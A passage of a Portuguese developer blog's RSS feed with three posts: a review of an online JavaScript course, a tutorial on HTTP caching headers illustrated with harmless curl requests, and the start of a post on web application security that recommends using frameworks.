Opinião, onde pretendo expor algumas “críticas” sobre cursos,
eventos e livros técnicos, quero compartilhar com vocês…]]></description><link>https://klauslaube.com.br/2012/05/29/opiniao-imersao-javascript-e-genial.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/05/29/opiniao-imersao-javascript-e-genial.html</guid><pubDate>Tue, 29 May 2012 22:09:07 GMT</pubDate><content:encoded>&lt;p&gt;Para inaugurar a série
&lt;a href=&quot;/tag/opiniao.html&quot; title=&quot;Veja outras opiniões minhas sobre livros e cursos&quot;&gt;Opinião&lt;/a&gt;, onde pretendo expor algumas “críticas” sobre cursos,
eventos e livros técnicos, quero compartilhar com vocês a experiência
que tive com o curso &lt;a href=&quot;http://www.edukee.com/pt/curso/javascript/turma-b/1326888846&quot; title=&quot;Conheça a grade do curso&quot;&gt;Imersão &lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;, ministrado pela
&lt;a href=&quot;http://www.egenial.com/&quot; title=&quot;Cursos online para desenvolvedores e empreendedores Web&quot;&gt;e-Genial&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Antes de qualquer coisa, tenho a obrigação de dizer: O ambiente de
educação à distância, chamado &lt;a href=&quot;http://www.treinatom.com.br/pt/&quot; title=&quot;Conheço o ambiente Ead da e-Genial&quot;&gt;&lt;em&gt;TreinaTom&lt;/em&gt;&lt;/a&gt;, é &lt;strong&gt;excelente&lt;/strong&gt;!
Recentemente tive uma experiência no mínimo “duvidosa” com o &lt;a href=&quot;http://www.adobe.com/br/products/connect/&quot; title=&quot;Conheça o ambiente de comunicação pela Web da Adobe&quot;&gt;&lt;em&gt;Adobe Connect&lt;/em&gt;&lt;/a&gt;...
e entre outras ferramentas disponíveis no mercado (por
exemplo, o &lt;a href=&quot;http://moodle.org/&quot; title=&quot;O Moodle é uma ferramenta de educação open source&quot;&gt;&lt;em&gt;Moodle&lt;/em&gt;&lt;/a&gt;), a facilidade e experiência de uso do
&lt;em&gt;TreinaTom&lt;/em&gt; se sobressai.&lt;/p&gt;
&lt;h2&gt;Expectativas&lt;/h2&gt;
&lt;p&gt;Devo ser sincero: eu não sou um dos maiores fãs do &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Como desenvolvedor &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, sempre tive contato com a linguagem, e
sempre me virei na medida do possível. Mas de uns tempos para cá ficou
evidente a importância do &lt;em&gt;Javascript&lt;/em&gt;, tanto que ele já ultrapassou a
“barreira” do &lt;em&gt;front-end&lt;/em&gt; e já possui representantes em outras áreas do
desenvolvimento (por exemplo, o &lt;em&gt;Node.js&lt;/em&gt; no &lt;em&gt;back-end&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Então, para não ficar “refém” da &lt;a href=&quot;http://jquery.com/&quot; title=&quot;Conheça o framework jQuery&quot;&gt;&lt;em&gt;jQuery&lt;/em&gt;&lt;/a&gt;, decidi &lt;strong&gt;estudar a
linguagem desde o básico&lt;/strong&gt;. E foi com essa expectativa que eu me
inscrevi no curso &lt;strong&gt;Imersão &lt;em&gt;Javascript&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Resultados&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;http://www.twitter.com/cassiomarques&quot; title=&quot;Siga o Cássio no Twitter&quot;&gt;&lt;em&gt;Cássio Marques&lt;/em&gt;&lt;/a&gt; foi o instrutor, e embora na primeira aula ele
não tenha conseguido “prender” a minha atenção, a partir da segunda ele
conseguiu manter uma dinâmica e ritmo muito bons.&lt;/p&gt;
&lt;p&gt;A abordagem, já focando em boas práticas e técnicas amplamente
divulgadas pelo &lt;a href=&quot;http://www.crockford.com/&quot; title=&quot;Visite o site pessoal do Crockford&quot;&gt;&lt;em&gt;Douglas Crockford&lt;/em&gt;&lt;/a&gt;, foi um grande diferencial. O
&lt;em&gt;Cássio&lt;/em&gt; não poupou esforços para montar um material atual, que acredito
ser útil para qualquer desenvolvedor, mesmo aqueles mais experientes com
&lt;em&gt;front-end&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A grade foi muito boa, partindo de tipos até objetos e heranças. Mas o
que me marcou foi a utilização efetiva de exceções, a abordagem sobre
&lt;a href=&quot;/2011/05/29/afinal-o-que-sao-closures.html&quot; title=&quot;Afinal, o que são Closures?&quot;&gt;&lt;em&gt;Closures&lt;/em&gt;&lt;/a&gt;, e a apresentação de alguns &lt;em&gt;Design Patterns&lt;/em&gt; com o
&lt;em&gt;Javascript&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;De bônus, rolou uma breve introdução ao &lt;a href=&quot;http://pivotal.github.com/jasmine/&quot; title=&quot;BDD em Javascript&quot;&gt;&lt;em&gt;Jasmine&lt;/em&gt;&lt;/a&gt; e ao &lt;a href=&quot;http://www.jslint.com/&quot; title=&quot;Meça a qualidade do seu código Javascript&quot;&gt;&lt;em&gt;JSLint&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Veredicto&lt;/h2&gt;
&lt;p&gt;Se você &lt;strong&gt;quer aprender &lt;em&gt;Javascript&lt;/em&gt;&lt;/strong&gt;, não irá se decepcionar com o
curso &lt;strong&gt;Imersão Javascript&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Já tive contato com a &lt;em&gt;e-Genial&lt;/em&gt; no curso de &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML5&quot;&gt;&lt;em&gt;HTML5&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/css3.html&quot; title=&quot;Leia mais sobre CSS3&quot;&gt;&lt;em&gt;CSS3&lt;/em&gt;&lt;/a&gt;,
que fiz no ano passado. A equipe é muito atenciosa, e material de ensino
e instrutores são de ótima qualidade.&lt;/p&gt;
&lt;p&gt;Acredito que eles possam melhorar o engajamento dos alunos, pois fora do
ambiente do &lt;em&gt;TreinaTom&lt;/em&gt; não há uma interação interessante (que vá além
do fórum, algo que tenho presenciado no curso &lt;a href=&quot;http://welcometothedjango.com.br/&quot; title=&quot;Aprenda Python e Django na prática&quot;&gt;&lt;em&gt;Welcome to the
Django&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Resumindo: eu ví e gostei.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[O cache e o HTTP]]></title><description><![CDATA[Em tempos de alta demanda, o cache pode tornar-se o melhor amigo das
aplicações web.
Através dele temos uma opção prática, acessível e…]]></description><link>https://klauslaube.com.br/2012/05/14/o-cache-e-o-http.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/05/14/o-cache-e-o-http.html</guid><pubDate>Mon, 14 May 2012 23:14:46 GMT</pubDate><content:encoded>&lt;p&gt;Em tempos de alta demanda, o &lt;strong&gt;&lt;em&gt;cache&lt;/em&gt;&lt;/strong&gt; pode tornar-se o melhor amigo das
aplicações &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;.
Através dele temos uma opção prática, acessível e barata para melhorar
performance, diminuir consumo de recursos e tempos de resposta. Qualquer
milissegundo economizado é um ponto a mais com o seu usuário, com os
mecanismos de busca e com o seu serviço de hospedagem.&lt;/p&gt;
&lt;p&gt;Antes de falarmos de &lt;em&gt;cache&lt;/em&gt; em aplicações &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre o Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; ou
&lt;a href=&quot;/tag/codeigniter.html&quot; title=&quot;Leia mais sobre Codeigniter&quot;&gt;&lt;em&gt;Codeigniter&lt;/em&gt;&lt;/a&gt;, acho interessante falarmos sobre o uso de &lt;em&gt;cache&lt;/em&gt; com
o protocolo &lt;em&gt;HTTP&lt;/em&gt;. Afinal, é esta a primeira camada a “atacar” quando
precisamos melhorar os tempos de resposta das nossas aplicações &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;O que é “caching”?&lt;/h2&gt;
&lt;p&gt;Segundo &lt;a href=&quot;http://betterexplained.com/articles/how-to-optimize-your-site-with-http-caching/&quot; title=&quot;How To Optimize Your Site With HTTP Caching&quot;&gt;&lt;em&gt;Kalid Azad&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Caching is a great example of the ubiquitous time-space tradeoff
in programming. You can save time by using space to store
results.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Basicamente, &lt;strong&gt;&lt;em&gt;caching&lt;/em&gt;&lt;/strong&gt; é o ato de “economizar processamento”
armazenando os seus resultados. Um bom exemplo é o temporário do seu
navegador, onde uma imagem que não teve alteração desde o momento do seu
&lt;em&gt;download&lt;/em&gt; é resgatada do seu disco e não da &lt;em&gt;internet&lt;/em&gt;. Uma tarefa mais
rápida e menos custosa.&lt;/p&gt;
&lt;p&gt;Logo, entendemos que o &lt;strong&gt;&lt;em&gt;cache&lt;/em&gt;&lt;/strong&gt; é um local em disco ou memória
utilizado para armazenar estes resultados. Ele pode se aplicar ao
&lt;em&gt;front-end&lt;/em&gt; (como ilustrado no exemplo acima), ou ao &lt;em&gt;back-end&lt;/em&gt;, através
dos servidores &lt;em&gt;web&lt;/em&gt;, como o &lt;em&gt;Apache&lt;/em&gt; e o &lt;a href=&quot;/2011/12/19/nginx-poderoso-rapido-facil.html&quot; title=&quot;Leia mais sobre Nginx&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt;, ou através de
ferramentas mais específicas, como &lt;em&gt;Memcached&lt;/em&gt; e &lt;em&gt;Redis&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Assim como a definição de &lt;a href=&quot;/2012/04/05/entendendo-os-cookies-e-sessoes.html&quot; title=&quot;Entendendo os Cookies e Sessões&quot;&gt;&lt;em&gt;cookies&lt;/em&gt; e sessões&lt;/a&gt;, a utilização de
&lt;em&gt;cache&lt;/em&gt; nos navegadores &lt;em&gt;Web&lt;/em&gt; é feita através de informações
transmitidas pelo cabeçalho da requisição e resposta.&lt;/p&gt;
&lt;p&gt;Existem quatro tipos de cabeçalhos específicos para &lt;em&gt;cache&lt;/em&gt; em &lt;em&gt;HTTP&lt;/em&gt;.
Mas todos partem da premissa que o arquivo em questão (pode ser um
documento, imagem, &lt;em&gt;script&lt;/em&gt;, etc) já está armazenado no disco do
internauta, acessível ao navegador.&lt;/p&gt;
&lt;h2&gt;Last-Modified&lt;/h2&gt;
&lt;p&gt;Com o &lt;code class=&quot;language-text&quot;&gt;Last-Modified&lt;/code&gt;, o navegador informa ao servidor que irá baixar
um arquivo desde que a sua data de modificação seja diferente da data do
arquivo armazenado. Na requisição é passado o cabeçalho
&lt;code class=&quot;language-text&quot;&gt;If-Modified-Since&lt;/code&gt;, e se a data do arquivo no servidor for mais
recente, o navegador faz um novo &lt;em&gt;download&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Vamos fazer uma requisição tendo como resposta um cabeçalho
&lt;code class=&quot;language-text&quot;&gt;Last-Modified&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -i -I http://klauslaube.com.br/media/blog/security.jpg

HTTP/1.1 200 OK
...
Date: Tue, 01 May 2012 19:20:27 GMT
Last-Modified: Sat, 07 Apr 2012 17:51:10 GMT
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma vez que o arquivo esteja em disco, o navegador tem como informar a
data da última alteração. Então, fazemos uma nova requisição ao arquivo
&lt;code class=&quot;language-text&quot;&gt;security.jpg&lt;/code&gt;, passando esta data no cabeçalho &lt;code class=&quot;language-text&quot;&gt;If-Modified-Since&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -i -H &quot;If-Modified-Since: Sat, 07 Apr 2012 17:51:10 GMT&quot; http://klauslaube.com.br/media/blog/security.jpg

HTTP/1.1 304 Not Modified
Date: Tue, 01 May 2012 19:22:00 GMT
Last-Modified: Sat, 07 Apr 2012 17:51:10 GMT&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A resposta &lt;code class=&quot;language-text&quot;&gt;304 Not Modified&lt;/code&gt; não traz o conteúdo do arquivo em seu
corpo, e é através desta resposta que o navegador sabe que não precisa
fazer o &lt;em&gt;download&lt;/em&gt; do arquivo, utilizando assim a versão que está em seu
&lt;em&gt;cache&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;ETag&lt;/h2&gt;
&lt;p&gt;O modo como a &lt;code class=&quot;language-text&quot;&gt;ETag&lt;/code&gt; funciona é bem parecido com o conceito do
&lt;code class=&quot;language-text&quot;&gt;Last-Modified&lt;/code&gt;. A diferença está no método de comparação: ao invés de
fazer comparações pela data, são realizadas comparações através de
identificadores únicos, atribuídos aos arquivos envolvidos nas
requisições.&lt;/p&gt;
&lt;p&gt;Quando trabalhamos com &lt;code class=&quot;language-text&quot;&gt;ETag&lt;/code&gt;, obtemos respostas com o seguinte
cabeçalho:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -i -I http://localhost/exemplo-cache.html

HTTP/1.1 200 OK
...
Date: Tue, 01 May 2012 19:46:18 GMT
ETag: &quot;2c6b0d8-13-4befe555d6f80&quot;
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É através do valor &lt;code class=&quot;language-text&quot;&gt;2c6b0d8-13-4befe555d6f80&lt;/code&gt; que navegador e servidor
saberão se aquele arquivo em questão já está armazenado em &lt;em&gt;cache&lt;/em&gt;. Isso
é possível através do cabeçalho &lt;code class=&quot;language-text&quot;&gt;If-None-Match&lt;/code&gt;, enviado pelo
navegador na requisição:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -i -I -H &quot;If-None-Match: \&quot;2c6b0d8-13-4befe555d6f80\&quot;&quot; http://localhost/exemplo-cache.html

HTTP/1.1 304 Not Modified
Date: Tue, 01 May 2012 19:50:40 GMT
ETag: &quot;2c6b0d8-13-4befe555d6f80&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma vez que o valor bata com o identificador do arquivo, o servidor
informa ao navegador que não houve alterações. Então, o navegador
utiliza a versão do arquivo que está no temporário.&lt;/p&gt;
&lt;h2&gt;Expires&lt;/h2&gt;
&lt;p&gt;A grande desvantagem dos dois métodos acima é que necessitamos consultar
o servidor para verificar a procedência do arquivo. Com o &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt; e
&lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt; a “data de validade” vem junto com a requisição, logo, o
navegador já sabe quando o arquivo em seu &lt;em&gt;cache&lt;/em&gt; irá expirar, e só
voltará a consultar o servidor quando este tempo for alcançado.&lt;/p&gt;
&lt;p&gt;Com o &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt;, o servidor retorna no cabeçalho da resposta uma data
de validade para um determinado arquivo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -i -I http://klauslaube.com.br/media/blog/cookies.jpg

HTTP/1.1 200 OK
Date: Tue, 08 May 2012 01:49:13 GMT
...
Expires: Thu, 31 Dec 2037 23:55:55 GMT
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Solicitando uma nova requisição para este mesmo arquivo, o navegador
analisará a data local e a data de expiração. Se a data atual for maior
que &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt;, aí sim o navegador se comunicará com o servidor &lt;em&gt;web&lt;/em&gt;,
e fará um novo &lt;em&gt;download&lt;/em&gt; do arquivo.&lt;/p&gt;
&lt;h2&gt;max-age&lt;/h2&gt;
&lt;p&gt;Embora o &lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt; possa parecer um pouco enigmático, ele é (na minha
opinião) uma solução mais elegante e fácil de implementar que o
&lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Com o &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt;, temos que informar uma data “absoluta” no cabeçalho,
ou seja, somos obrigados a dizer o dia da semana, mês, ano, hora, minuto
e até mesmo segundo em que determinado arquivo irá expirar. Logo, temos
o trabalho de interpretar a data da requisição (seja no servidor ou na
aplicação) adicionando o tempo que desejamos de &lt;em&gt;cache&lt;/em&gt; e imprimindo
este valor por extenso.&lt;/p&gt;
&lt;p&gt;Com o &lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt; temos a opção de utilizar datas “relativas”, ou seja,
podemos dizer ao navegador que o arquivo irá expirar em 1 dia (em
segundos):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -i http://localhost/exemplo-cache.html

HTTP/1.1 200 OK
Date: Mon, 14 May 2012 17:04:29 GMT
...
Cache-Control: max-age=86400, must-revalidate
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como você já deve ter reparado, não existe um índice de cabeçalho
específico chamado &lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt;. Ele é na verdade um valor do índice
&lt;code class=&quot;language-text&quot;&gt;Cache-Control&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;O valor &lt;code class=&quot;language-text&quot;&gt;must-revalidate&lt;/code&gt; solicita aos mecanismos de &lt;em&gt;cache&lt;/em&gt; (você
pode estar “atrás” de um &lt;em&gt;proxy&lt;/em&gt;) o seguinte: Quando o arquivo
ultrapassar o &lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt;, o &lt;em&gt;user-agent&lt;/em&gt; deve revalidar o conteúdo
junto ao servidor &lt;em&gt;Web&lt;/em&gt;. Embora esse seja o comportamento esperado por
estes mecanismos, tornar esta informação explícita pode garantir que
ferramentas mais “obscuras” sigam este comportamento.&lt;/p&gt;
&lt;h3&gt;Um pouco sobre o Cache-Control&lt;/h3&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;Cache-Control&lt;/code&gt; foi adicionado na especificação do
&lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616.html&quot; title=&quot;Conheça o protocolo HTTP versão 1.1&quot;&gt;&lt;em&gt;HTTP 1.1&lt;/em&gt;&lt;/a&gt; com a finalidade de contornar
as limitações do &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt;, e também de melhorar o controle sobre o
&lt;em&gt;cache&lt;/em&gt; de determinado conteúdo por diferentes tipos de mecanismos.&lt;/p&gt;
&lt;p&gt;Além do uso do &lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt;, é através do &lt;code class=&quot;language-text&quot;&gt;Cache-Control&lt;/code&gt; que podemos
especificar o comportamento de &lt;em&gt;cache&lt;/em&gt; para o navegador (&lt;code class=&quot;language-text&quot;&gt;private&lt;/code&gt;),
para algum &lt;em&gt;proxy&lt;/em&gt;, servidores intermediários ou requisições &lt;em&gt;HTTPS&lt;/em&gt;
(&lt;code class=&quot;language-text&quot;&gt;public&lt;/code&gt;), ou ainda informarmos que não queremos fazer &lt;em&gt;caching&lt;/em&gt; do
conteúdo (&lt;code class=&quot;language-text&quot;&gt;no-cache&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.mnot.net/cache_docs/#CACHE-CONTROL&quot; title=&quot;Tutorial sobre HTTP caching&quot;&gt;Leia mais sobre &lt;em&gt;Cache-Control&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Vale ressaltar que o &lt;code class=&quot;language-text&quot;&gt;Cache-Control&lt;/code&gt; tem precedência sobre o
&lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Qual forma utilizar?&lt;/h2&gt;
&lt;p&gt;A resposta é: depende do cenário.&lt;/p&gt;
&lt;p&gt;Para servir arquivos estáticos, a &lt;a href=&quot;http://www.webfaction.com/&quot; title=&quot;Smarter web hosting&quot;&gt;&lt;em&gt;Webfaction&lt;/em&gt;&lt;/a&gt; utiliza os cabeçalhos
&lt;code class=&quot;language-text&quot;&gt;Last-Modified&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt;, atribuindo aos dois
últimos valores absurdos de &lt;em&gt;cache&lt;/em&gt; (por exemplo, datas de expiração
para o ano de 2037). Isso garante que o seu navegador, &lt;em&gt;proxy&lt;/em&gt; ou
&lt;em&gt;gateway&lt;/em&gt; “nunca esqueça” de uma determina imagem, folha de estilos ou
arquivo &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Mesmo com o uso do &lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt;, é interessante ter o &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt; como
alternativa, caso o navegador do internauta não compreenda instruções de
&lt;code class=&quot;language-text&quot;&gt;Cache-Control&lt;/code&gt;. Já a utilização do &lt;code class=&quot;language-text&quot;&gt;Last-Modified&lt;/code&gt;, segundo o &lt;a href=&quot;http://www.askapache.com/htaccess/apache-speed-last-modified.html&quot; title=&quot;Remove Last-Modified Header&quot;&gt;&lt;em&gt;Ask Apache&lt;/em&gt;&lt;/a&gt;,
não é lá muito interessante pois a sua utilização faz com
que alguns navegadores ignorem o cabeçalho &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt;. Um argumento
mais relevante é a eliminação de procedimentos de validação (como o
&lt;code class=&quot;language-text&quot;&gt;If-Modified-Since&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;If-None-Match&lt;/code&gt;), deixando a cargo apenas do
&lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt; determinar o tempo de vida do estático em
&lt;em&gt;cache&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Em páginas dinâmicas, onde um &lt;em&gt;cache&lt;/em&gt; de 5 ou 10 minutos possa ser
aplicado, o &lt;code class=&quot;language-text&quot;&gt;max-age&lt;/code&gt; com &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt; é fundamental. Já em páginas que
necessitam de um conteúdo em tempo real, ou páginas que utilizam
informações de &lt;em&gt;cookies&lt;/em&gt; ou sessões, a ausência de &lt;em&gt;cache&lt;/em&gt; é
justificável.&lt;/p&gt;
&lt;p&gt;Em documentos &lt;em&gt;HTML&lt;/em&gt; onde o conteúdo é atualizado com uma frequência
indeterminada, o uso de &lt;code class=&quot;language-text&quot;&gt;Last-Modified&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;ETag&lt;/code&gt; é mais apropriado.
Uma vez que fica difícil determinar quando a atualização irá ocorrer, é
uma boa estratégia fazer com que o navegador atualize o conteúdo do seu
&lt;em&gt;cache&lt;/em&gt; quando necessário.&lt;/p&gt;
&lt;h2&gt;Considerações Finais&lt;/h2&gt;
&lt;p&gt;Embora seja um conteúdo bem introdutório, acho fundamental sabermos as
diferentes maneiras de aplicar &lt;em&gt;cache&lt;/em&gt; com o protocolo &lt;em&gt;HTTP&lt;/em&gt; antes de
partirmos para soluções específicas. Essas recomendações não são
infalíveis, e em um cenário mais “extremo”, necessitam sim de auxílio de
algumas ferramentas disponíveis no mercado para tornar o &lt;em&gt;cache&lt;/em&gt;
eficiente tanto para a experiência do usuário, quanto para a
estabilidade dos seus serviços.&lt;/p&gt;
&lt;p&gt;Embora eu tenha utilizado o navegador &lt;em&gt;Web&lt;/em&gt; como foco das explicações,
“robôs”, ferramentas de &lt;em&gt;proxy&lt;/em&gt; e &lt;em&gt;gateways&lt;/em&gt; também podem fazer controle
de &lt;em&gt;cache&lt;/em&gt;. O comportamento é basicamente o mesmo, variando de acordo
com instruções passadas no cabeçalho &lt;code class=&quot;language-text&quot;&gt;Cache-Control&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Como não sou nenhum “expert” no assunto, se você possui alguma sugestão
ou correção sobre o uso de &lt;em&gt;cache&lt;/em&gt; com &lt;em&gt;HTTP&lt;/em&gt;, por favor, conte-nos
através dos comentários abaixo.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/htaccess/apache-speed-compression.html&quot; title=&quot;Material bem interessante sobre como melhorar a performance com Cache no Apache&quot;&gt;&lt;em&gt;Ask Apache: Speed tips – Turn on Compressor&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://betterexplained.com/articles/how-to-optimize-your-site-with-http-caching/&quot; title=&quot;Excelente artigo falando sobre HTTP e cache&quot;&gt;&lt;em&gt;Better Explained: How To Optimize Your Site With HTTP Caching&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/cache/&quot; title=&quot;Leia mais sobre Cache no Django&quot;&gt;&lt;em&gt;Django Documentation: Django’s cache framework&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/speed/articles/caching&quot; title=&quot;Bom material do Google sobre Caching&quot;&gt;&lt;em&gt;Google Developers: HTTP Caching&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://condor.depaul.edu/dmumaugh/readings/handouts/SE435/HTTP/http.html&quot; title=&quot;Conheça um pouco mais sobre o protocolo HTTP com este artigo científico&quot;&gt;&lt;em&gt;John Yannakopoulos: HyperText Transfer Protocol – A Short Course&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.mnot.net/cache_docs/&quot; title=&quot;Excelente conteúdo sobre caching HTTP&quot;&gt;&lt;em&gt;mnot.net: Caching Tutorial&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.webscalingblog.com/performance/caching-http-headers-cache-control-max-age.html&quot; title=&quot;Artigo bem objetivo descrevendo o uso do max-age&quot;&gt;&lt;em&gt;Web Scaling Blog: Caching HTTP Headers, Cache-Control: max-age&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Problemas comuns de segurança em aplicações Web]]></title><description><![CDATA[Seria perfeito se o mundo fosse feito apenas de pessoas
bem-intencionadas. Acontece que é mais fácil os alienígenas exterminarem
a raça…]]></description><link>https://klauslaube.com.br/2012/04/15/problemas-de-seguranca-em-aplicacoes-web.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/04/15/problemas-de-seguranca-em-aplicacoes-web.html</guid><pubDate>Sun, 15 Apr 2012 18:03:48 GMT</pubDate><content:encoded>&lt;p&gt;Seria perfeito se o mundo fosse feito apenas de pessoas
bem-intencionadas. Acontece que é mais fácil os alienígenas exterminarem
a raça humana, do que o homem deixar de tirar proveito de alguma
situação.&lt;/p&gt;
&lt;p&gt;Quando estamos desenvolvendo nossas aplicações &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, temos que
“pensar” como um usuário mal-intencionado. Não somente para garantir o
bom funcionamento da mesma, mas também para garantir a segurança e
bem-estar dos “usuários civis” que consomem os nossos serviços.&lt;/p&gt;
&lt;p&gt;Vamos explorar alguns problemas relacionados a segurança, e mostrar como
solucioná-los de forma simples e prática.&lt;/p&gt;
&lt;h2&gt;Use frameworks!&lt;/h2&gt;
&lt;p&gt;E esta é a minha primeira dica para você: use &lt;em&gt;frameworks&lt;/em&gt; sempre que
possível!&lt;/p&gt;
&lt;p&gt;Eles já possuem um conjunto de ferramentas que contornam problemas como
&lt;em&gt;SQL Injection&lt;/em&gt;, &lt;em&gt;XSS&lt;/em&gt; e &lt;em&gt;CSRF&lt;/em&gt;. Pessoas muito inteligentes já pensaram no
problema e já solucionaram para você. Na maioria dos casos, mais de uma vez!&lt;/p&gt;
